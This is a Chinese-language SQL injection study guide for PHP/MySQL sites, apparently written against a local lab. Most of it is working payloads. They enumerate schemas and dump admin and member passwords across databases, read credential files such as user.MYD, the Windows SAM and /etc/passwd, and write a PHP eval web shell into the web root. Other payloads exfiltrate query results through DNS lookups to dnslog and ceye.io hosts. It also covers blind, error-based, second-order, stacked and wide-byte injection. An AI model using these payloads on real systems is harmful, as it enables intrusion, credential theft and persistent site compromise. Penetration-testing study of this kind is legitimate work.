SQL注入

MYSQL注入:(目的获取当前web权限)1、判断常见四个信息(系统,用户,数据库名,版本)2、根据四个信息去选择方案

root用户:先测试读写,后测试获取数据
非root用户(权限有限):直接测试获取数据

PHP-MYSQL-Web组成架构

服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理
可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理
(而Access无数据库用户–用sqlmap的原理是 只能靠字典去猜,但是又可能猜不到表名 列名)

1.SQL注人的概念

原理:接受的参数值未进行过滤直接带入SQL查询的操作
攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注人就能干嘛
SQL语句能干嘛⇒SQL语句由谁决定⇒数据库类型决定〈为什么mysql注入。oracle注人叫法原因)

获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值

2.SQL注人的流程:获取数据→一步一步得到信息

1)order by 6:这是一个排序语句,指示按照第6列进行排序。
实战中,需要进行判断注入的列名有几个。
有的话页面正常执行
没有即会报错
如:该表存在6列,输入7后会报错

2)union select 1,2,3,4,5,6:这是一个UNION查询,用于将多个SELECT语句的结果合并在一起。在这个例子中,它选择了6个列,每个SELECT语句都返回常量值。
查找回显的作用:可以判断后期注入查询返回的数据,可以在页面中显示出来;

3)union select 1,2,3,database(),user(),6:这个UNION查询选择了6个列,并在第4列返回数据库名称,第5列返回当前用户,其他列返回常量值。

4)union select 1,2,3,version(),@@version_compile_os,6:这个UNION查询选择了6个列,并在第4列返回数据库版本,第5列返回操作系统信息,其他列返回常量值。

返回数据库版本原因:MYSQL5.0以上版本:自带的数据库名information_schema(只有5.0以上的版本才可以实行下一步查询)
返回操作系统信息原因:如果是Linux系统对于后面的查询信息,linux对大小写敏感

5)union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=’demo01’:这个UNION查询选择了6个列,并从information_schema.tables表中返回指定数据库(demo01)中的所有表名的组合字符串。

6)union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=’admin’:这个UNION查询选择了6个列,并从information_schema.columns表中返回指定表(admin)中的所有列名的组合字符串。

7)union select 1,2,3,username,password,6 from admin limit 0,1:这个UNION查询选择了6个列,并从admin表中返回第一行记录的用户名和密码。

PHP-MYSQL-SQL跨库查询

1.SQL跨库查询:通过B网站的注入点获取A网站的账号和密码
2.影响条件:当前数据库ROOT用户权限
3.跨库查询顺序
测试不同数据库用户:root demo

1)union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata: 通过 information_schema.schemata 表获取所有数据库的名称,并将这些名称连接成一个字符串。
2)union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=’zblog’: 通过 information_schema.tables 表获取 ‘zblog’ 数据库中所有表的名称,并将这些名称连接成一个字符串。
3)union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member: 尝试从 ‘zblog’ 数据库的 ‘zbp_member’ 表中选择 mem_Name 和 mem_Password 列的数据,限制结果集为一个行。
4)注意事项
注意:由于是跨库操作,在此刻必须指明是哪个数据库的表名

from zblog.zbp_member:
不然会进行报错
表示 mysqli_query 返回的结果不是有效的 mysqli_result 对象,而是布尔值 false,可能是由于 SQL 查询执行失败。

必须数据库权限是ROOT用户权限→才可以进行跨库
如果是其他数据库的权限
只能看到该数据库用户下管理的表

单引号过滤绕过方式
SQL注入语句使用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)注意:在编码后执行SQL注入时候要在编码前加0x
table schema=0x7a626c6f67
当在编码后执行SQL注入时,如果要将编码后的Payload作为十六进制值直接传递给SQL语句,需要在编码前添加0x前缀。这是因为在许多DBMS中,0x前缀用于指示后续的字符串是十六进制值。

Hex编码(十六进制编码)是一种将数据转换为十六进制数字表示的编码方式。这种编码方式广泛用于表示二进制数据,例如在网络通信、编码传输、调试和数据存储中。

PHP-MYSQL-SQL文件读写

1.影响条件:(必要条件)
当前数据库用户权限→必须是root用户
2.secure-file-priv设置→默认关闭,必须添加到MYsql的配置文件my.ini中
secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT … INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。

如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILE 和 SELECT … INTO OUTFILE。
例如,如果 secure_file_priv 被设置为 f:\,那么在执行 LOAD DATA INFILE 或 SELECT … INTO OUTFILE 时,只允许读写位于 f:\ 目录下的文件。

1.进行测试

测试不同数据库用户:root demo

1)union select 1,load_file(‘d:\1.txt’),3,4,5,6这个部分尝试使用 MySQL 的 load_file 函数加载本地文件 ‘d:\1.txt’ 的内容,并将其作为查询结果的一部分返回。

2)union select 1,‘xiaodi’,3,4,5,6 into outfile ‘d:\2.txt’
将查询结果写入一个文件 ‘d:\2.txt’。
这个查询也是一种尝试,试图将查询结果写入到指定的文件中。
成功写入

3)union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile ‘G:\develop\safety\phpstudy_pro\WWW\dome01\xiaodi.php’ 将木马文件写入网站源码目录,方便获取权限

<?php eval($_POST[x]);?>这是一个PHP代码片段,它使用eval()函数执行传递给$_POST[x]的代码。这段代码的含义是,它将执行$_POST[x]参数中包含的任意代码。
into outfile ‘G:\develop\safety\phpstudy_pro\WWW\dome01\xiaodi.php’: 这是将木马文件写入网站源码目录,指定了写入的路径和文件名。

2.读写的路径的问题:

1)报错显示获取路径


2)phpinfo页面泄漏

如果不知道路径思路:
用常见的默认的中间件,数据库等安装路径读取有价值信息

load_file()常用路径

https://blog.csdn.net/god_7z1/article/details/8725541

load_file等读文件的函数受到secure-file-priv 选项的限制,能不能使用load_file进行注入,要看这个选项的配置

文件路径不能使用反斜线\,要使用斜线/

WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere*.cif文件
//存储了pcAnywhere的登陆 密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

PHP-MYSQL-数据请求类型

SQL语句由于在黑盒中是无法预知写法的,SQL注入能发成功是需要拼接原SQL语句
大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。
究其原因大部分都是原SQL语句的未知性导致的拼接失败!
由于开发者对于数据类型和SQL语句写法(框架写法)导致SQL注入拼接失败

根据注入点分类:

1、数字型(无符号干扰)

select * from news where id=$id;

2、字符型(有符号干扰)

select * from news where id=‘$id’;
有”干扰,则会阻碍注入的SQL语句拼接

使用‘和 –+或# 将’‘闭合掉
id=1’union select 1,2,3,4,5,6–+

3、搜索型(有多符号干扰)

select * from news where id like ‘%$id%’
‘% %’干扰,则会阻碍注入的SQL语句拼接
id=1%’ union select 1,2,3,database(),5,6–+and ‘%’=’

4、框架型(有各种符号干扰)

select * from news where id=(‘$id’);
“select * from news where (id=‘$id’) limit 0,1” ;
(’ ‘)或 limit 0,1干扰,则会阻碍注入的SQL语句拼接

id=1′) union select 1,2,3,database(),5,6–+

PHP-MYSQL-数据请求方法

全局变量方法:GET POST SERVER FILES HTTP头等

User-Agent:
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

1.GET、POST 和 Cookie REQUEST 都可以进行数据请求,发生注入

1)$g=$_GET[‘g’]; 从 URL 中的 GET 请求中获取参数 ‘g’ 的值,并将其赋给变量 $g。

2)$p=$_POST[‘p’]; 从 POST 请求中获取参数 ‘p’ 的值,并将其赋给变量 $p。

3)$c=$_COOKIE[‘c’]; 从客户端的 Cookie 中获取名为 ‘c’ 的值,并将其赋给变量 $c。

4)$r=$_REQUEST[‘r’]; 从 GET、POST、COOKIE 中获取参数 ‘r’ 的值,并将其赋给变量 $r。$_REQUEST 包含了从客户端发送的所有数据,包括 GET、POST 和 Cookie 中的数据。

<?php
$g=$_GET['g'];
$p=$_POST['p'];
$c=$_COOKIE['c'];
$r=$_REQUEST['r'];

2.Forwarded-For,Rerferer,Host间接查询发生注入

1)User-Agent:
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)

将抓包到的内容:User-Agent:进行修改 xxxxx,页面回显也同时变更为xxxxx

2)Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])X-Forwarded-for:1.101.1.11

3)Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
将百度的任意一个可触发按钮,连接值(网址)修改后,数据回显,出现Rerferer

4)Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

<?php
**// 获取用户代理信息
$ua = $_SERVER['HTTP_USER_AGENT'];**

**// 获取 X-Forwarded-For 头部的值,表示客户端的原始 IP 地址
$xff = $_SERVER['HTTP_X_FORWARDED_FOR'];**

**// 获取 HTTP 请求头中的主机信息
$host = $_SERVER['HTTP_HOST'];**

**// 获取 HTTP 请求头中的 Referer 信息,表示请求的来源页面
$re = $_SERVER['HTTP_REFERER'];**

// 输出用户代理信息
echo $ua . "<br>";
// 输出 X-Forwarded-For 头部的值
echo $xff . "<br>";
// 输出主机信息
echo $host . "<br>";
// 输出 Referer 信息
echo $re . "<br>";
?>

补:
文件上传将文件名写入数据库-insert注入
实现:防注入记录IP去保存数据库-insert注入

上传一个文件,将文件的名字进行数据库保存 SQL注入有条件产生?
img = union select…
插入数据事件 insert
insert news(‘title'”content’.author'”‘date”img’)value { ‘union select…’}

PHP-MYSQL-数据请求格式

1、数据采用统一格式传输,后端进行格式解析带入数据库(json)

1)普通字符串格式


2)json格式,需要在代码中设置

// 将 JSON 数据解码为 PHP 数组
$data = json_decode($jsonData, true);
// 在此处处理登录逻辑
$username = $data['username'];
$password = $data['password'];

$sql="select * from admin where username='$username' and password='$password'";
$data=mysqli_query($con,$sql);
$rowcount=mysqli_num_rows($data);

$sql=”select * from admin where username=’$username’ and password=’$password'”;

‘$username’或’$password’单引号可能会造成SQL语句拼接失败,需要注意
执行注入:首先抓包

进行一一判断,获取对应的列数(4)
实行注入:admin’union select 1,database(),version(),4 #

2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)

代码如下:SQL语句中进行使用base64加密数值

<?php
// 引入数据库配置文件
include '../config.php';

// 读取HTML模板文件内容
$template = file_get_contents('new.html');

// 获取GET参数'id',如果不存在则默认为'MQ=='
$id = $_GET['id'] ?? 'MQ==';

// 使用base64解码获取的'id'参数
$bid = base64_decode($id);

// 构造SQL查询语句,根据解码后的'id'查询数据库中的新闻信息
$sql = "SELECT * FROM news WHERE id='$bid'";
$data = mysqli_query($con, $sql);

$sql = “SELECT * FROM news WHERE id=’$bid'”

‘$bid’ :单引号可能会造成SQL语句拼接失败,需要注意
执行注入:首先将加密的数值用判定的方式解密出来

确定了加密方式后,先构造出注入的SQL语句

然后使用(base64)加密方式进行转换,最后在目标上实行注入操作

3’ union select 1,2,3,4,5,6 and ‘1’=’1

MycgdW5pb24gc2VsZWN0IDEsMiwzLDQsNSw2IGFuZCAnMSc9JzE=

3’ union select 1,2,3,database(),5,6 and ‘1’=’1

MycgdW5pb24gc2VsZWN0IDEsMiwzLGRhdGFiYXNlKCksNSw2IGFuZCAnMSc9JzE=

PHP-MYSQL-SQL操作-增删改查

1、功能:数据查询
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等
增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等
删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等
修改:UPDATE news SET id=$id

PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在注入过程中,获取的数据不能回显至前端页面
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:

1、基于布尔的SQL盲注-逻辑判断(盲注可用布尔盲注(需要回显))

RegExp(正则表达式):
正则表达式是一系列字符,定义了一个搜索模式。它用于在字符串中进行模式匹配。
正则表达式提供了一种强大而灵活的方式来搜索、匹配和操作文本。

LIKE(模糊匹配)
LIKE 经常在数据库查询中使用,特别是在SQL中,用于在列中搜索指定的模式。
它允许使用通配符字符,如%(匹配任何字符序列)和_(匹配任何单个字符)。

ASCII码:
ASCII(美国信息交换标准代码)是一种字符编码标准,为键盘上的每个字母、数字和符号分配一个唯一的数字。
ASCII 值表示文本字符,被广泛用于计算机中。

LEFT(左侧提取指定数量的字符):
在字符串操作的上下文中,LEFT 是一种在一些编程语言或数据库查询语言中使用的函数。
它从字符串的左侧提取指定数量的字符。

ORD:
ORD 是一种在一些编程语言(例如 Python)中用于获取字符的 ASCII 值的函数。
例如,ord(‘A’) 返回 ‘A’ 的 ASCII 值,即 65。

MID:
MID(或在一些语言中称为 SUBSTRING)是一种从给定字符串中提取子字符串的函数。
它需要指定的起始位置和要提取的子字符串的长度。

下面是 Python 的一个快速示例:

import re

# 正则表达式(RegExp)
pattern = re.compile(r'\\d{3}-\\d{2}-\\d{4}')  # 匹配社会安全号码模式

# SQL 中的 LIKE
 SELECT * FROM table WHERE column LIKE 'abc%'

# ASCII
ascii_value = ord('A')  # 返回 65

# LEFT
original_string = "Hello, World!"
left_result = original_string[:5]  # 返回 "Hello"

# ORD
ascii_value_of_H = ord('H')  # 返回 72

# MID
substring = original_string[7:12]  # 返回 "World"

布尔相关注入语句:

#检查当前数据库名称的长度是否为7。
and length(database())=7;
#检查当前数据库名称的第一个字符是否为 'p'。
and left(database(),1)='p';
#检查当前数据库名称的前两个字符是否为 'pi'。
and left(database(),2)='pi';
#检查当前数据库名称的第一个字符是否为 'p'
and substr(database(),1,1)='p';
#检查当前数据库名称的第二个字符是否为 'i'
and substr(database(),2,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;

2、基于时间的SQL盲注-延时判断(报错和回显都不需要)

IF语句:
SQL中的IF语句用于条件执行,根据指定的条件执行一组SQL语句。
在SQL注入的上下文中,攻击者可能注入一个始终为真的条件,以操纵SQL查询的行为。
SLEEP函数:
SLEEP函数用于在执行查询时引入一定的延迟或暂停,可以指定延迟的时间。
攻击者利用SLEEP函数进行基于时间的盲注,通过观察查询响应的延迟来推断有关数据库的信息。

下面是一个简单的示例,演示了基于时间的盲注攻击:

假设存在一个有漏洞的查询:
SELECT * FROM users WHERE username = 'input' AND password = 'input'
攻击者可能注入以下有效载荷:
' OR IF(1=1, SLEEP(5), 0)--
在这个注入中,IF(1=1, SLEEP(5), 0)语句将始终为真,导致执行SLEEP(5)函数。双破折号(--)用于注释掉原始查询的其余部分,以防止语法错误。

延迟相关注入语句:

#单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
and sleep(1);
#if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
and if(1>2,sleep(1),0);
#但这次条件为真(1 < 2)。因此,sleep(1) 函数将执行,导致查询延迟1秒钟。攻击者可以观察到响应时间的增加,从而确定注入条件为真。
and if(1<2,sleep(1),0);

3、基于报错的SQL盲注-报错回显(加入报错处理可利用报错盲注)

基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息。

FLOOR:
FLOOR 函数本身通常不直接用于报错注入。它是用于数值处理的函数,主要用于取整。
如果在使用 FLOOR 函数时传入了不正确的参数,可能导致SQL错误,但这通常不是攻击者首选的方法。

updatexml:
updatexml 函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息。
示例:
上述语句尝试通过 updatexml 函数将波浪符 0x7e 连接到数据库名称,从而引发错误并回显数据库名称。
updatexml(1, concat(0x7e, (SELECT database())), 1)

extractvalue:
extractvalue 函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。
示例:
上述语句尝试通过 extractvalue 函数将波浪符 0x7e 连接到当前用户的名称,从而引发错误并回显用户信息。
extractvalue(1, concat(0x7e, (SELECT user())), 1)

报错相关注入语句:

#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

4.参考:
更多:https://www.jianshu.com/p/bc35f8dd4f7c

like ‘ro%’ #判断ro或ro…是否成立
regexp ‘^xiaodi[a-z]’ #匹配xiaodi及xiaodi…等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

面试问题:如果是黑盒测试,要求盲注,选用什么方式?
回答:可以选择报错或延时(由于无法判断,其源码是否有容错处理,首先试一下报错,使用延时也可以,但是需要注意符号问题)

PHP-MYSQL-二次注入


黑盒思路:分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))
白盒思路:insert后进入select或update的功能的代码块(源代码去审)
注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用)

1、DEMO-用户注册登录修改密码(使用报错回显)

注册新用户时,将注入的内容包含在注册的用户名后:admin’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
成功注入,并查看数据库,数据库中也存放了响应的注入语句
正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号

  1. 注册新用户时,将注入的内容包含在注册的用户名后:admin’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
  2. 成功注入,并查看数据库,数据库中也存放了响应的注入语句
  3. 正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号

需要注意的条件:实现二次注入,源码中有对应的转义(magic_quotes_gpc)或使用转义函数(addslashes)

  1. 在注册用户逻辑中,首先使用addslashes 转义函数解析POST请求中的username,
  2. 在后方插入新用户记录的时候,执行的SQL语句则会变为INSERT INTO users (username,password) VALUES (‘admin\’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#’,’123456′) 给username中的单引号添加转义字符\
  3. 在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入
  4. 如果不使用,转义函数,则会出现报错
    报错的原因是:sql注入语句中,提前闭合了单引号,造成后面的密码值无法对应到表中的password列

addslashes 是一个 PHP 函数,用于对字符串中的特殊字符进行转义,返回在预定义的字符前添加反斜杠的字符串。

string addslashes ( string $str )
//参数:`$str` 是要进行转义的字符串。
//返回值:返回转义后的字符串。

预定义字符是:
单引号(’)
双引号(”)
反斜杠(\)

magic_quotes_gpc 是一个在早期版本的 PHP 中存在的配置选项,其作用是自动对从 GET、POST 和 COOKIE 获取的数据进行转义。

具体作用如下:
自动转义: 当 magic_quotes_gpc 启用时,PHP 会在从 GET、POST 和 COOKIE 中获取的数据中自动添加转义斜杠,使特殊字符成为安全的字符串。例如,单引号 ‘ 被转义为 \’。
示例:

// 假设 magic_quotes_gpc 已启用

$user_input = "It's a sample input";
// $user_input 变量包含 "It\\'s a sample input"

// 在早期的 PHP 版本中,这样的输入在插入到数据库时会被自动转义

2、CMS-74CMS个人中心简历功能

  1. 配置并打开网址
  2. 前端对专业名称有长度限制,选中打开检查修改maxlength=”120”值
  3. 在学校名称和专业名称注入:aa','fullname'=user()#
  4. 分析源码

二次注入是指攻击者先将恶意数据存储到数据库中,当应用程序再次从数据库中取出这些数据并用于构造新的 SQL 语句时,恶意数据触发了 SQL 注入攻击。
(因为又转义函数的原因 导致注入语句可以写入数据库中,但是在数据库取数据的时候会,会触发恶意语句,返回查询结果)

PHP-MYSQL-堆叠注入

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等

1.目标存在SQL注入漏洞

2.目标未对”;”号进行过滤
目标系统未对输入中的分号(;)进行有效的过滤或检查。分号在SQL中通常用于分隔多个SQL语句,因此,如果应用程序未正确过滤这些字符,攻击者可以利用这一点来注入多条SQL语句。

3.目标中间层查询数据库信息时可同时执行多条SQL语句
在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时

PHP-MYSQL-带外注入

带外注入
产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据

通过构造 \\[数据].攻击者域名\任意字符 格式的 UNC 路径,利用 LOAD_FILE() 等函数触发 DNS 解析,将数据库查询结果外带到 DNS 日志中(本质是借助 UNC 路径的网络解析特性)。

0.注入条件:

  • ROOT高权限且支持load_file()
  • secure-file-priv=设置→默认关闭,必须添加到MYsql的配置文件my.ini中
  • G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26my.ini

secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT … INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作
如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILE 和 SELECT … INTO OUTFILE。
例如,如果 secure_file_priv 被设置为 f:\,那么在执行 LOAD DATA INFILE 或 SELECT … INTO OUTFILE 时,只允许读写位于 f:\ 目录下的文件。

LOAD DATA INFILE 是 MySQL 中用于批量导入数据到表中的高效命令,能够快速将文本文件(如 CSV、TXT 等)中的数据加载到数据库表中,比逐条执行 INSERT 语句效率高得多。
SELECT ... INTO OUTFILE 是 MySQL 中用于将查询结果导出到服务器本地文件的命令,可将 SQL 查询结果以指定格式写入文本文件,常用于数据备份、报表生成等场景。

LOAD_FILE() 是 MySQL 数据库提供的一个内置函数,用于读取服务器本地文件的内容并以字符串形式返回。它在合法场景下可用于读取配置文件、日志等内容,但也可能被滥用带来安全风险。
基本语法
SELECT LOAD_FILE('文件绝对路径');

例如,读取服务器上 d:/config.ini 文件的内容:
SELECT LOAD_FILE('d:\\config.ini'); -- Windows 系统,使用双反斜杠
SELECT LOAD_FILE('/etc/passwd');    -- Linux 系统,读取系统用户文件

如果源码有回显则直接注入即可文件读写利用http://192.168.137.1:84/sqli/new.php?id=1 union select 1,2,3,load_file(‘F:\1.txt’),5,6

1.使用平台

http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可

http://www.dnslog.cn

2.带外应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等

SQL注入:
select load_file(concat(‘\\’,(select database()),’.7logee.dnslog.cn\aa’));
and (select load_file(concat(‘//’,(select database()),’.rkmg30.ceye.io/abc’)))

查询当前数据库

id=1 and load_file(concat("\\\\",database(),".rkmg30.ceye.io\\asdt"))

查询其他数据库

id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".rkmg30.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
**limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名**
limit 2,1 查询第三个数据库名
"""

查询版本号

id=1 and load_file(concat("\\\\",version(),".rkmg30.ceye.io\\xxx.txt"))

查询当前数据库dome01中第一个表名

id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".rkmg30.ceye.io\\xxx.txt"))
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
**limit 0,1 查询第一个表名
limit 1,1 查询第二个表名**
limit 2,1 查询第三个表名
"""

查询security数据库emails表下第一个列名

id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

查询字段值 数据库名为security 表名emails 列名id

id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

宽字节注入

SQL注入之宽字节注入演示(详细介绍宽字节)_sqlmap宽字节注入脚本、-CSDN博客

一、宽字节注入的核心场景

当满足以下条件时,可能触发宽字节注入:

  1. 编码环境:Web 应用(如 PHP)和数据库(如 MySQL)均使用 GBK 等双字节编码(一个字符占 2 字节)。
  2. 转义机制:应用使用addslashes等函数对特殊字符(如单引号')进行转义,在其前添加反斜杠\(ASCII 码0x5c)。
  3. 输入处理:用户输入未经过严格的编码转换(如未将 GBK 编码转换为 UTF-8),直接拼接进 SQL 语句。

二、漏洞触发过程(以%df'为例)

  1. 用户输入原始字符%df'
    • %df是 GBK 编码中的一个高字节(大于0x80,可作为双字节字符的前半部分)。
    • '是单引号(目标是闭合 SQL 语句中的字符串,触发注入)。
  2. addslashes函数转义
    转义会在单引号'前添加反斜杠\,因此输入变为:
    %df\’
    对应 URL 编码为:%df%5c%27\的 URL 编码是%5c'%27)。
  3. GBK 编码的 “吞噬” 反斜杠
    在 GBK 编码中,%df%5c会被解析为一个合法的双字节字符,Unicode 编码U+7E17)。
    此时,原本用于转义的%5c(反斜杠)被 “吞噬”,不再作为转义符,剩余的%27(单引号)得以保留。
